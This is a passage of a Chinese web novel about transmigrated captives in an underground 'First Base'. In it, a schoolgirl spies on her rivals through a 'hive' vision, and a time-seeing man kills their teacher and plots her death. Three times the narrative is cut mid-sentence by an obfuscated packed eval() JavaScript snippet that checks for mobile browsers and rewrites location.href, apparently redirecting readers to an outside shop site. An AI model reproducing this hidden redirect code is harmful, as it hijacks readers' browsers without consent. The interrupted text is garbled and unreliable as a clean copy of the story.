【细胞持续解冻中】 【饥饿值:50(你饿了,迫切需要进食)】 【智力值:90(受饥饿值影响,智力值下跌20%)】 【战力值:40(受饥饿值影响,战力值下跌20%。但你的细胞仍以惊人的速度进化着,现在的你恢复能力惊人,一些伤痛将在短时间内痊愈)】 黎歌感觉到左臂的疼痛消失了大半。 ……进化得真是时候。 都进化了,就不能直接进化成钢筋铁骨、刀枪不入的身体,非得是该受的罪受完了、疼也疼够了,才开始发挥作用进行自愈? 可能是因为现在脑子有点乱,黎歌没有劫后余生的高兴,莫名得觉得委屈。 为什么她会穿越到这个世界啊?如果没有这场穿越,她就可以正常参加高考,去一个山很高、天很阔、夜宵很好吃的城市上大学,普通地生活一辈子。 黎歌很疲惫了。 骨文突然又跳出了新的信息。 【智力天赋:虫巢。】 【解锁地图碎片一,人虫教室。你已检索完该地图,可开启虫巢。】 【解锁地图碎片二,体育馆。你已检索完该地图,可开启虫巢。】 一片漆黑的识海中突然腾起了云雾。翻腾的云雾缠绕着,凝结成汹涌的白云,白云中的建筑忽隐忽现,能看见四四方方的轮廓。 黎歌望着这片朦胧,莫名有几分熟悉感。 虫巢,字面看起来应该是指虫的巢穴,目前为止出现的虫包括了人虫和鼠虫,虫巢难道是指住着人和老鼠的巢穴?它和她经历过的两个场景有什么联系? 【是否开启?】 还能怎么选呢?黎歌苦笑,打起精神选择:“是。” 【你已开启人虫教室。】 随着震地般的一声令下,云朵凝固成冰,碎裂落地,露出了裹在云中的陈旧教室。 教室的背后,墨色的天空突然出现一双巨大的眼睛,犹如神祇般降临,浓密的睫毛下,淡棕色的瞳孔微微放大,昭示着观察者看这幅景象时的震惊,但很快,震惊化为了兴奋。 好小。黎歌俯瞰小教室,如同玩具屋摆放在面前,可以随手掀开屋顶,将里面的人捉出来,如同孩童凌虐一只昆虫那样发泄恨意。 透过窗户,她看到教室内的破败与数十分钟前所见的不无二致,讲台的正前方摆放着八张桌椅,现在只有九个人,不,七个人还坐在位置上。 地上的尸体多了两具,不知道又违反了什么规则。 讲台上,无脸老师抱着双臂站着,看不见五官的脸不知道在凝视哪一处。突然,她扭过头朝黎歌眼睛的方向看来。 被发现了? 黎歌心里一颤。 但那视线未作停留,又看向了别处。黎歌松了口气。 “这难道是刚才我待过的教室?不,我不能太早下定论,它可能是平行时间的另一个时空故事,可能是过去、也可能是未来,只有排除掉一切可能性,剩下的才是虫巢真正能为我带来的有效信息。” 为了佐证她的猜想,她拨开了识海第二团雾。 【你已开启体育馆。】 云雾消散后,简陋的体育馆一览无余,随意丢弃的干瘪篮球背后,铁架的正前方倒下了一座血山,鼠虫涂满鲜血的尸体横卧着,柔软的脖子扎着几乎要没入血肉中的木棍。 主播跪坐在铁架上,神情小心地关注着身前熟睡的人。她被好好地放平在铁架上,嘴角有被擦拭过的血沫痕迹,袖子被卷起,露出了狰狞得泛着青紫色的胳膊。 现在,那些青紫色正在逐渐淡去。主播很快也发现了她的异常,冰凉的指尖划过她的皮肤,确认她的状态。黎歌立刻感受到了触感,无论男女她都很少跟人有这样近距离的接触,这让她的脸颊瞬间就热了起来。 万幸的是她情绪从不上脸,她仍旧沉默地睡着。 主播确认完,惊喜地朝下方喊道:“她的伤口愈合了!” 竹女正在四处边角查探,没了拐,她只能扶着墙一点点走,听到主播的话后惊诧地抬头,随即露出了古怪的表情:“差点以为她会死……难怪她被分配到了学分。” 学分? 黎歌看向那视线里不足巴掌大的空白墙上隐约有几行红色的字,脑海里刚闪过想看清的念头,下一秒字便从墙上浮出来,并且飘在了她的面前。 【九章:鼠虫已被击杀,结算总学分122分。存活4人,依据第一基地人虫训练手册,将学分进行平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616108|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 均分配。】 【九章:识别人虫进入体育场的顺序,按顺序分配学号。】 【九章:1617号、002号、615号、566号各获得30.5分,1314号获得0分。】 按进入体育场的顺序……黎歌是第二个进来的,在她前面进入体育馆的是竹女,再之后是化妆师、班长,走在最后面的是求生欲望最弱的主播。 这些学号一点规律都没有,编码的规则是什么? 自己的学号是002,比其他人少了2-3位数。 只是平白无故为什么多出来了110学分。体育课的价值不应该只有3个学分吗? 正思考着,额头传来温柔的安抚,视线滑回铁架上,主播解开了她头上的方巾,正细心地擦拭着黎歌额头上的汗水。 黎歌脸颊一热,立刻掐断了对体育馆的观察。 可以确定虫巢里的时间正是现在,并且时间流速为1:1,观察虫巢的同时,现实中时间也在流逝着。 那么另一座人虫教室里面的情景,毫无疑问正是同时发生的事情。这意味着即便不在现场,她也可以通过虫巢窥探讯息。 此刻,他们正在上同等价值为3个学分的自习课。 “你说我们还要在这个鬼地方待七天,那么食物呢,水呢,总不能让我们断水断粮死在这里吧?” “水和食物已经分发给你们了。” “什……什么?!这是我们七天的食物?!” 黎歌注意到了每个人桌上都摆放着什么。 三颗土豆,一个军用水壶。土豆大小不均,有些是拳头大小,有些瘦得像鹌鹑蛋,但都不过是一顿饭的量。 黎歌暗中试了试,除了观察以外她并不能做其他事情,否则她一定会伸手去取食物。 站着说话的人精神状态显然有些失常,他喋喋不休地抱怨着:“这些土豆根本不够吃,你果然想要分裂我们,想看到我们争夺食物,三十颗土豆只勉强够四个人活下来,还要再死三个人,我想当四个人其中一个,我肯定不能死。” 老师冷笑一声:“真是低贱的基因,你们分配到的食物完全足够满足一个人七天的生存需求。” 他的同桌举手站了起来,是个中年男人,眉宇间颇见意气风发的模样。他指了指土豆,压抑着紧张的语气带着商量:“听得出来你们物资十分得紧缺,我可以帮你们。” “我集团的供应链遍布每一个市级城市,辐射周边县城,无论你们地处多偏远,我都有办法让路修在你们的脚下,让食物送上你们的餐桌。你不妨直接让你背后的人和我见面,总比你关着我,看着我吃这拇指大的土豆更有意思的多,你觉得呢?” 老师:“……” 这位总裁大约以为这里是穷山沟的人贩子基地,他们只是被绑票了而已。 黎歌基本可以断定,从他们离开人虫教室到现在,教室内的人并没有比他们获取更多的信息,他们甚至不知道这里是地下基地。 总裁见老师毫无反应,强撑淡定的表情出现了一丝裂缝,赶忙又补充道:“不仅是食物,我能联系上全球最顶尖的医学团队,调动全球最好的医学资源治好你的脸!” “我的脸?”老师伸手触摸着自己的脸颊,犹如对待最昂贵的珠宝,语气也变得激动,“这是神祇的印记,是隍市最美的一张脸,你们这些低贱的人虫根本……” 她的话戛然而止,接着把手从脸上挪开,没什么耐心地敲了敲黑板,冷笑道:“收回你可笑的发言。我对于你们落后的文明没有半点兴趣,你们的教育、医学、商业、科技,不过就是蚁巢里的过家家游戏罢了。你们想要食物,方法很简单——先摆脱掉你们那低贱的基因,完成进化,自然会获得神祇的奖赏。” “不必这样厌恶地看着我,事实上我们并不欢迎你们,是你们像寄生虫一样源源不断地到来。我的时间比你们的更加宝贵,接下来你们可以自由议论我的每一句话,因为我不会重复第二遍。” “首先,有必要教你们认识下你们脚下的土地,这里曾经是人类在壁外建立的第一座地下避难所,我们叫它——第一基地。” 老师竟然知道他们是穿越者!黎歌震惊无比,而且听起来,他们很可能不是第一批穿越者! 8. 第一基地08 老师好像对穿越者了如指掌。 会不会在原住民面前,他们这群穿越者就好比坠入蛛网的雪白肉虫,对横线与纵线的规则全然无知,下场就是被蜘蛛玩弄尽兴,接着拆入腹中。 看来人虫真正指代的是穿越者。 原住民在发现了人虫以后,不仅没有大开杀戮,还为人虫建造了学校,安排了老师,甚至试图将他们培养成战士,这是为什么?黎歌想不明白。 他们难道不害怕人虫进化后做的第一件事,就是破坏掉困着他们的蛛网吗? “地下避难所”几个字在剩余的八个人里激起了浪花,其中有三个人表现出了异常的激动。 人的命运有时候会在短短的一两分钟内被决定。 总裁下意识看了下手腕,那里可能曾经有一块名贵的手表,可惜手腕空空如也,他也无法断定自己的处境是否安全。 儒雅的动作因为恐惧而有些微颤抖。他深吸了两口气,摆出一副茫然的表情,朝三个人中离他最近的那位看过去:“你们在讨论什么,他们不是人贩子吗?” 瘦高个侧目看来,他的眼里还闪耀着一丝诡异的兴奋,以及被打断的不悦。他至上而下打量着总裁,突然咧开嘴巴:“老板,你开这么大的公司,平时都没时间陪老婆看电影吧?你听说过废土吗?” 总裁摇摇头:“不知道,废土是什么土?” 瘦高个乐了:“种不了菜的土。” 总裁恍然大悟:“那很糟糕了。” 过了会儿他说:“我前妻不看这些,她就喜欢甄嬛传。” “甄嬛传是什么电影?哎等等,”瘦高个的八卦雷达突然响了,压低声音问,“你跟嫂子离了啊,怎么个事?” 总裁面露痛苦:“她说她跟我没有共同话题了,爱上别人了。” 瘦高个惊讶得二度打量他:“老板,你长得浓眉大眼的,大长腿高个,又有钱,怎么还能让嫂子被别人拐走了呢?” “唉,我前妻是搞科研的,她说她实在接受不了一个看不懂热力学公式的老公,就跟我离婚了。可我是学文科的啊!” 总裁沉浸在回忆的酸楚中,道:“爱情没了,事业也不顺利,集团财报一天比一天难看,好不容易新业务有起色,再过两天就能敲钟上市,结果就被绑架了。年轻人,你人聪明,你帮帮我,出去以后我必然十倍报答你的恩情。” 瘦高个若有所思,往后面看了一眼,黎歌的两个同桌与他对上眼神。三个人短暂地眼神交流了一阵,瘦高个往总裁大哥那边挪了挪椅子。 “老板,你做什么生意的,赚钱吗?” “我们就是酒厂卖酒的。” “酒厂……”瘦高个收敛了吊儿郎当模样,表情多了许多敬重,“刚才就觉得你眼熟,听说祝融一号载人火箭总设计康晴康女士,她先生是杜康集团的总裁,叫季……” “季风。” “……季老板,真是你啊!” 季风点了点头,苦笑:“你也别老板总裁这么叫我了,现在都是一起落难的兄弟,还得多仰仗你们帮忙。你们呢,都在哪里高就?” 前桌之一道:“高就谈不上,我也就卖卖房子。” 前桌之二紧跟着介绍:“我在五金厂看仓库。” “季老板,你看我像干嘛的?”瘦高个嬉皮笑脸问。 他们的正前方,也正是季风座位的正后方,医生的尸体仍旧躺在地上,溢出的红色液体染红了季风的鞋底。三颗拇指大的土豆浸泡在血液里,它们的主人,也是医生的同桌,是教室内第二个死在老师手里的倒霉鬼。 隔着两具尸体,季风显然有点膈应,但硬撑出一些轻松感,好似认真地上下打量几番,点评道:“猜不出来,不过你这性格挺活泼,适合去干新媒体,我们企宣那群人要有你一半活泛,公关费也不至于总飘红。” 瘦高个差点想拍手叫好了,眉开眼笑道:“要不你是老板呢,看人真准。我还真就是搞新媒体的,平常负责审核直播内容,专抓擦边,哪个擦得不好就关哪个。” “先前的房车主播在你们平台直播?”季风想起那个系着方巾的年轻人。 “她啊?是啊。”瘦高个想到什么好笑的,单手搭在后桌桌沿,那正是主播先前的座位,他嘴角噙着笑,“她不擦边,直播间人气却比任何一个女主播都要高,谁知道一个得癌的天天的哪来这么多正能量。” “我就是随便找了个演员呛了她两句……没想到她急眼了,在直播间跟人吵了起来。其他主播早看她那张伟光正嘴脸不顺眼了,直接砸钱送她上了好几天黑热搜,昨晚听说她心态崩到递交注销账户申请了。啧,她那账号光广告费报100W一条,她可真舍得。” 季风短暂得沉默了,微抬了抬下巴,暗示道:“你身后的哥们怎么不说话?他又是做什么的?” 瘦高个的态度一下恭敬了起来,收回他嚣张的姿势,道:“南哥,他……” 灰色的视线已经观察了季风许久。 这个被叫做南哥的男人身材极其高大,但比起健身房练出来的夸张比例,他的健硕显得十分匀称。棱角分明的脸蛋细看有两道烫伤的疤痕。 他刻意避开众人的视线蛰伏许久,安静得仿佛哑巴。但哑巴不可能在短期内收服三个小弟,季风很快分辨清楚了食物链上下层关系,十分干脆喊了句:“南哥。” 南哥受用地“嗯”了一句,再度阖上双目养神,不过也碰了碰嘴唇,简单地自我介绍:“云霄南,铸剑师。” 季风一下子没有反应过来是哪三个字。 毕竟这个职业在日常生活里鲜有耳闻。 竟然是打铁的?难怪身材那么好,他的工作就是在一片火炙中捶打沉铁,每一寸肌肉都是力量和耐力的证明,哪里是健身房吃蛋白粉练出来的肌肉比得过的。 此时,瘦高个抱怨了一句:“南哥,你都没跟我们说你的真名,怎么愿意跟他说了?” 隔着一个人,季风无法直接观察到对方的表情,却听见云霄南突然道:“听清楚无脸女后面的这番话。” 四个人还没反应过来,老师的声音飘了过来。 “你们很想知道怎么离开这里,方法很简单,你们只需要在7天内修满1000学分,这就是第一基地的最高考核。” “能不能修满1000分,取决于你们对接下来的信息理解有多透彻。” 面对人虫嘈杂的议论声,老师掏出了粉笔,掐断了粉笔尖,在黑板上写下了几行字。 “进化三大定律。” “第一定律:进化是生存的唯一手段。” “第二定律:进化可以被继承。” “第三定律:进化的终点是阿尔法基因,但阿尔法基因没有终点。” “你们将有四种途径可以获得学分。”老师丢掉粉笔,从讲台上下来,背着手在教室内踱步,“第一,每堂课基础学分3分,只要通过课堂小考或者存活45分钟就可以获得。” 仓管划拉了一下桌面,小声道:“一节课3分,7天凑1000分,那不得一天上48节课?” “怎么可能,”他的中介同桌听到了这离谱发言,忍不住怼道,“一堂课45分钟,你不吃不喝不拉也不够48节课。” “是吗?”仓管不信邪,又划拉起来。 瘦高个看了眼云霄南,见他还在闭目养神,心里有底了,对另外两人道:“别慌,那怪物说还有三种途径,肯定还有别的赚分方式。” 季风在此时开口:“体育课的价值也是3分,但老师说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616109|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,体育课会极大程度提高人虫的死亡率,这就意味着,在基础学分相同的情况下有些课程会带来生命危险。” 季风说完,发现另外三个人注意了过来,于是他继续往下说他的猜想:“第一定律,进化是生存的唯一手段——这句话并没有明确的主语。达尔文的物种起源核心是自然选择,包括了遗传变异、物竞天择、适者生存,认为进化是渐进的,同时具有随机性。同时,一批学者抨击了自然选择说的局限性,例如从宏观尺度上,寒武纪大爆发造成的生物门类骤涨,就超出了渐进演化的覆盖范畴……” “季老板,我听得头都大了,感觉上课一样难受。”瘦高个以为他就是想装个逼,不耐烦地打断了一下。他下意识寻求南哥的认同,这时突然发现一直在闭目养神的云霄南不知道什么时候睁开了眼睛,正盯着季风。 季风接收到云霄南的默许,接着分析:“科学家的纷争无外乎佐证了,进化通常要以更长的时间尺度进行观察,因为我们在某个基因静止尺度内,不需要依赖于随机进化生存。说人话就是,有生之年我们可能都见证不了人类进化,第一定律在我们的世界并不成立。” “可第一定律可能透露了两点信息,其中一点就是,现在这个世界的进化速度很快,快到它能决定个体的生死。” “另外,就像我之前所说,它没有明确主语。如果进化是指全体物种都在争抢着进化,那么物种与物种之间的生存斗争势必和人类的战争不相上下。这样就能够说明进化为什么是生存的唯一手段,一旦落后,或许会造成个体甚至整个物种的毁灭。” “我大胆地猜测,体育课的死亡率之所以远高于自习课,大概率是因为体育老师是进化体,他可能是人类,也可能,是别的生物。” “这和你说的废土能联系上吗?” 三个人听得已经呆滞了,一直听到最后一句话,瘦高个下意识应道:“能,能……但你的意思是,体育老师可能也是怪物?” 云霄南眉头紧锁。 瘦高个立刻发现了他的异常,问:“怎么了南哥?他猜错了?” “这可能是她动手的真正原因。”云霄南没头没尾地说了一句话。 “他?”瘦高个猛然警惕起来,将椅子往回拉了一步,狐疑地看着季风。 云霄南抱手靠在椅背上:“跟他没有关系,相反,他猜的八九不离十。所谓的体育老师就是身高1.5米的鼠虫,这群牲畜主要的食物来源就是人虫。” “什么老鼠能有1.5米高?”仓管和中介对视了一眼,脸色暗了下来。 “……草,”瘦高个揉了揉他的平头,脸色也不好了,“还真是废土打怪游戏。又是地下庇护所,又是鼠虫的。这怎么打,不发把枪,好歹给一把刀行不行?” 他停顿了一会儿,试探道:“南哥,你确定体育馆内真的有鼠虫这样的怪物吗?” 灰色的瞳孔眯了起来,这个提问让它的主人很不愉快。 气氛稍显尴尬。 在谁也没开口的档口,老师恰好从几人中间经过,微妙地停顿了数秒后,继续往后走去:“接下来,我要介绍第二个和第三个获得学分的途径,它们将成为你们获得学分的主要途径。” “途径之二,击杀鼠虫,每击杀1只,参与者即可获得10分。” “途径之三,击杀阿尔法鼠,参与者即可获得1000分。” “所有学分按参与人数平均分配。” 震惊的表情从季风脸上流露出来:“它居然真的叫鼠虫,明明我们从来没有离开过这个教室,南哥为什么会知道体育馆内的信息?” 瘦高个最后的顾虑被一扫而空,此刻,他前所未有得激动着:“因为南哥是祝福者,他的能力是操纵时间!” 9. 第一基地09 季风追问:“什么是祝福者?为什么你的描述听起来像是超能力?” “你可以这样理解!”瘦高个一边盯着老师,压抑着他躁动的心跳,“南哥能够回溯过去,预见未来,他先前精准地预测了体育课的报名名单!” 季风思考片刻,皱眉:“这并不足以证明南哥能操纵时间,或许他是帮凶呢?这些事情对我来说太不可思议了,我需要确认他是个值得追随的人。” 瘦高个一时语塞,他没有想到这一层。 背景音中,老师绕了教室一圈,正往讲台走去:“我知道你们这些低贱的人虫在想什么,在听完三条途径后,你们在想同一个词——合作,只要合作,你们可以均摊风险,集中对付那些力量悬殊的鼠虫。” “而这是我们最不想看到的场面!我们需要的是最强的战士,而不是懦弱的抱团者。为了很好地补上规则漏洞,我们制定了第四条途径……” 几人的关注力已经不在老师身上,她的声音很快被另一句话盖了过去。 “我只证明一次。”云霄南的额角有青筋突起,低垂的眼眸下,灰色瞳孔里酝酿着波涛巨浪,语气中是毫不掩饰的怒火。 季风铁了心要证据,也顾不上得罪云霄南,咬着后槽牙道:“谢谢南哥,我是个商人,利益至上,评估完风险自然会下注。” “这间教室里,谁是你最大的威胁?”云霄南问。 突如其来的提问令季风有些迷茫,但很快,他的视线就不自觉地转移到了老师的身上。 整间教室的死亡威胁都是她带来的。 除了她,不会有第二选项。 云霄南面无表情道:“好。” 他接着说:“10秒。” 细长的身影再度逼近。沉淀在地面的血腥之气被卷起,老师并不壮硕,也不高大,可却带给人最为窒息的压迫感。 经过季风的时候,他忍不住半闭上眼睛,同时感受到老师再度在他身边停住。 8。 7。 6。 他在心里计算,计算刚才云霄南给他的倒计时。他不信,不信云霄南可以赤手空拳打败这个怪物,更别提要在10秒,不,6秒内做到。 老师突然弯下腰。 5。 她想做什么? 4。 眼角的画面一动,云霄南踩着椅子站了起来,将近一米九、充斥力量的躯体,踩上椅子的动作竟然如踩棉花般,轻盈得毫无声响。 3! 他一跃而起,朝蹲在地上的老师扑上去。 2。 尖锐的叫声从那没有五官的脸上的发出来,愤怒中夹杂悔意,或许只有悔意,后悔自己为什么轻敌、露出致命的破绽。 1。 咔嚓一声骨头错位的声音传出,教室内都是倒吸冷气的声音。云霄南踩在老师的背上,全身力量放置在脚尖,泄愤似的狠狠踹了已经无能反抗的身体好几脚。 鲜血染红了他的左手,那并不是他的血。一枚生锈的铁钉被他紧攥着,3秒钟前,正是这枚钉子扎进了老师的后颈,使她短暂地失去了力气。 然后,对方毫不迟疑地钳住了她的脖子,摁断了她的脊柱。 教室内一片死寂。 季风推开桌子站了起来,起伏的胸腔暴露了他的激动:“你知道,你知道她会在这里停住,你甚至知道她的弱点。你为什么会知道?” 终于从长时间的静坐中解放出来,云霄南不耐烦地转了转脑袋,筋骨疏通的感觉令他舒适了许多:“我在未来看到了。” “未来……”事实已经摆在了季风眼前,不管有多不可置信,“你真的可以操纵时间。” 云霄南踏碎寂静。 从老师的尸体上走下来,走上讲台。 “游戏规则,你们已经知道了。”这是他走上讲台后说的第一句话,灰色眼球睥睨下方恐惧的面孔,“你们可以选择和我合作,你们也只能跟我合作。这样的证明够了吗,季老板?” 够,谁敢说不够。几人终于缓过神来,数十秒前面对老师的恐惧,现在变成了对云霄南的恐惧,在收到他的盟友邀请后,这份恐惧又转化成莫大的惊喜。 季风的态度彻彻底底得恭敬起来:“南哥,我能为你做什么?” 灰色的瞳孔盯着他,云霄南古怪地问:“会拼图吗?” “拼图我会啊!”瘦高个抢答道,他拎着军用水壶往讲台走去,拧开了盖子,“南哥洗手。别的不敢说,拼图是我拿手好戏,我玩过2万片的拼图,没什么能难倒我的。要拼什么图?” 洁净的水洗涤着云霄南手上的血迹:“人民碎片。” 瘦高个没听明白:“什,什么碎片?” “下课铃声响后,体育馆内会出现四具尸体,也可能是五具,他们被撕咬成了碎片,我分不清。” 云霄南一边说着,一边细致地清理手心的血腥味。他不喊停,瘦高个自然不敢将水壶收回去,直至最后一滴水倒空,云霄南才勉强觉得他的手干净了些。 他捏着掌心里的铁钉痕迹,寒声道:“其他人不重要,找出那个女学生的尸体,她叫黎歌。” 瘦高个忙点头:“南哥大义,大善,还想着要给小孩拼个全尸!往好了想,万一体育老师心软,她还活着……” “那就由你们负责杀了她。” 空气凝固了,云霄南抬眸,在几个人眼中看到了同样质疑和震惊的情绪,嘲弄道:“你们就算做得再狠,都不如她狠。她害死了另外四个人,如果她不死,死的就会是我们,懂了吗?” 他撒谎!!! 随着情绪的波动,宛如一颗空气炸弹迎面炸开,黎歌被狠狠从识海弹了出去! “呼……”她猛然坐起身来,耳鸣充斥了她的脑袋。沾满血腥味的铁架上,还残留着肉渣,视线虽然斑驳,能辩清灰白墙上满是挣扎的指甲痕迹。 她又回到了体育馆内。 【这是说谎的味道。仙人掌的味道清甜可口,那些人告诉你。他们没说,吞之前需要把表面的刺去掉。】 云霄南果然撒谎了。 但哪一句是谎言? 下课铃声响后,体育馆内会出现四具尸体,也可能是五具——是这句吗? 她害死了另外四个人——还是这句? 墙边,九章的计时器还在分秒不差地跳动着——距离下课还剩25分钟。 “同学,你还好吗?”温柔又关切的声音近在迟尺。黎歌回头,恰好看见主播难忍地挪动她的腿。被当成枕头垫了这么久,大概是发麻了。 黎歌动了动嘴唇,正想要说点什么,铁架下化妆师那具被嚼得剩下一半的尸体高清□□闯入她的眼帘。 她脸色煞白,弯下腰就呕吐,可吐不出任何东西。 【饥饿值:50(你饿了,迫切需要进食)】 “唉……”长长一声叹息过后,主播安慰般将手搭在她的肩上,准备将她揽入怀里。黎歌眼疾手快,支着手肘恰好拦在对方的锁骨上,将自己剥离到舒适的距离。 “我缓一缓就好。”为避免麻烦,黎歌阐明了她的需求。 “你受了很严重的伤,我们差点以为你会死。”主播尝试跟她介绍她“昏迷”期间的紧急情况。 “结果你睡着睡着,好像就痊愈了……你是真的痊愈了吗?有没有哪里不舒服?” 黎歌捂着嘴,脑袋没有多余的空间去想这个问题。 老师被云霄南杀了。 云霄南是祝福者,有操纵时间的能力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616110|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云霄南对她有所了解,同时对她充满了恨意。 见鬼了!她根本就不认识他!他到底在未来看到了什么,为什么他会认为自己会对他们造成威胁? 她一个女高中生,跑个步都能把肌肉扯撕裂了,跟他一个能徒手杀死怪物的人作对?嫌命长?云霄南是不是忘了他们都是穿越者,现在老师死了,大家不应该齐心协力合作离开这个鬼地方吗? 癫公! 黎歌面无表情,脑子里一半是情报,一半是情绪。 她不可能对这三个人施加任何伤害,无论接下去25分钟会出现什么意外。因为他们的生命是一体的——只要发生死亡,她也会头疼致死。 想不通。 想不通就不想了,先整理拿到的情报。 老师被杀以后并没有任何惩罚降临,第一基地大概率是个废弃基地,除了人虫和老师以外,没有其他人类存在,而外面还有更大的世界。 离开第一基地的途径很明确——攒够1000分就可以离开。按照三种途径的分值,杀阿尔法鼠可以直接拿到1000分,其次是杀普通鼠虫和上课学分。 体育馆这只几乎要了她半条命的鼠虫幼虫仅仅只值10分!可想而知,阿尔法鼠有多恐怖。 所以,保险起见,她准备直接去杀阿尔法鼠。 按照简单的加减法则,2只鼠虫可能会吃空她的生命值,搏一搏不过20分,何必?不如博一把大的。 风浪越大鱼越贵。 黎歌尤为在意一件事——那条因为云霄南的阻止,来不及被说出口的第四途径。 九章公布的分数中,扣除击杀鼠虫和他们的基础学分外,仍旧多出来100学分,这多半和第四途径有关。 会和鼠虫的击杀方式挂钩吗?比如在一些游戏奖励中,完美击杀的奖励远高于普通击杀,那只鼠虫幼虫几乎是被一击毙命,所以有溢出的学分奖励? 100学分太重要了,找到机会必须试一试。 “喂!小孩醒了,你过来给她看看!”声音打断了黎歌的思考。主播的腿似乎恢复自由了,她半坐起来,正在朝下方挥手。 竹女扶着墙站着,用沉稳的声音回应道:“你们下来吧。” 主播犹豫了一下:“她状态不太好,呆呆的,虽然表面的伤口都消失了,也不知道有没有内伤。她要是挪动下,又伤到了该怎么办?” 竹女:“她是个人。” 主播:“啊?” 竹女:“疼了,她自己会叫。” 主播:“……” 黎歌:“。” 这两个人果然拿她当孩子。 事情变得棘手了,她要怎么获取她们的信任,让她们愿意听从一个“孩子”的指挥? 凭借她掌握的情报,一一去说服吗? 她能做到吗? 从铁架往下爬的时候,黎歌注意到班长还留在铁架上。 她蜷缩在角落,穿山甲一样把自己抱成一团,而她的“鳞片”再已不如先前般坚硬。 化妆师的死似乎对她的精神造成了极大的打击。 电光火石之间,黎歌突然发现自己忽略了最最重要的事情。 她们现在面临的最大威胁,既不是一墙之隔的云霄南,也不是鼠虫。 她们都是被同胞抛弃到死人堆里的人,从最初的愤怒、反抗,产生受害应激反应,到亲生经历恐怖的死亡,此时此刻,她们很可能没有任何劫后余生的喜悦,因为她们并没有回到安全区域。 这时候,她们最害怕的事将在她们脑海里一遍又一遍被强调——我会死在这里,我会被吃掉。 死亡的阴影将逐步侵蚀她们的生存意志,这才是最大的威胁! 落地的那刻,黎歌知道要怎么开口了。 10. 第一基地10 “我叫黎歌,是厦城一中一名高三学生,今年18岁。成绩不稳定,空闲时间都在刷题,所以也没有交到好朋友。” “厦城都是海,我想要去有山的城市上大学,最好是夜宵好吃的地方,专业随缘吧,我还没有想好。” 真是短暂而又普通的一生,一声叹息咽下,黎歌也想不到可补充的内容了:“我想,既然命运让我们一起走上了悬崖上的钢丝,不如互相认识下。” 建立信任的第一步,首先是交换信息。 “你真的只是高中生吗?”竹女率先发问。 黎歌注意到她抓着拐杖的那只手始终紧绷着。她能凭借自己的力量,靠她这幅残缺的身体在短时间内杀了鼠虫,简直是奇迹。 她会是祝福者吗? 直觉告诉黎歌,她应该不是。以她那漂亮的战斗姿势,不难判断那些都是融在她血肉里的力量,跟黎歌这种半路出家的祝福者有所区别。 也是好事,她的协助会大大提高她们的生存几率。 当初票选她的人应该也没有想到,隐藏在这幅躯体里的会是这样不俗的战力。 正待要开口的时候,竹女又补充了一句,目光澄澈坦荡:“我应该要先向你道谢才对。谢谢你救了我。但我现在有很多疑问,你很难不让人产生疑问。” “……你这哪里是道谢的态度?”一道清脆的女声插入了这段对话,主播脸上有很明显地不快,“她救了我们的命!她本来可以置身事外,但是她为了我们差点死了,你都看见了,还有什么可以怀疑的?” “小黎歌,别生气啊,我来自我介绍吧,我叫常乐,27岁,我做过会计、DJ,也是一名房车旅行博主,现在是你的粉丝!你说什么我都听你的。” “你好。”一个情绪都写在脸上的人,黎歌判断。 常乐的状态变化很大。 她悲伤的时候,整个人都散发着浓重的死气,现在好像又活了过来,回到了那个颤抖着站起来为班长打抱不平的模样。 这又是另一件好事。 如果有人执意寻死的话,她再怎么预防都是多余的。 还有最后一个人。 黎歌抬头,恰好与班长偷看过来的视线对上,对方闪躲了一下。然后又低垂着头,独自静坐着。 班长是她们当中求生意志最旺盛的人,因为她有必须要出去的理由,从这一点看,黎歌倒是不担心她不上套。 只是她有点自己的小聪明,希望不会坏事。 黎歌也没期待她会敞开心扉介绍什么,所以转而看向了竹女,道:“我知道你想问我什么。” 竹女愣了下,警惕心更重了:“等等,如果你以为你用三言两语可以欺骗我,那就大错特错了,我会识破你每一句谎言。” 两双眼睛隔空对峙着,一边是坚毅的轮廓,带着虚张声势的探究,一边是天生含情的卧凤眼,饶是她的内心再慌乱,她的眼睛也会是她极好的说谎利器。 黎歌友好地回复:“我想,你并不能办到。而我确实可以做到欺骗,你们和我虽然是同时穿越到这个世界,但你们掌握的信息量和我有天壤之别。” “因为我是祝福者,我的祝福能力是操纵时间。” “什么?!”三个人几乎同一时间发出了一样的震惊。 震惊程度不亚于二维生物发现了三维世界,因为远远超出了他们的想象力。竹女感觉自己的表情都僵了:“你们高中生是不是小说看太多了?” “其实你很早就有答案了,不是吗?”黎歌扮演好一个徐徐善诱的角色,“既然老鼠可以进化,人当然也可以。我的跑速和伤口自愈能力,根本就不是普通人能办到的。” 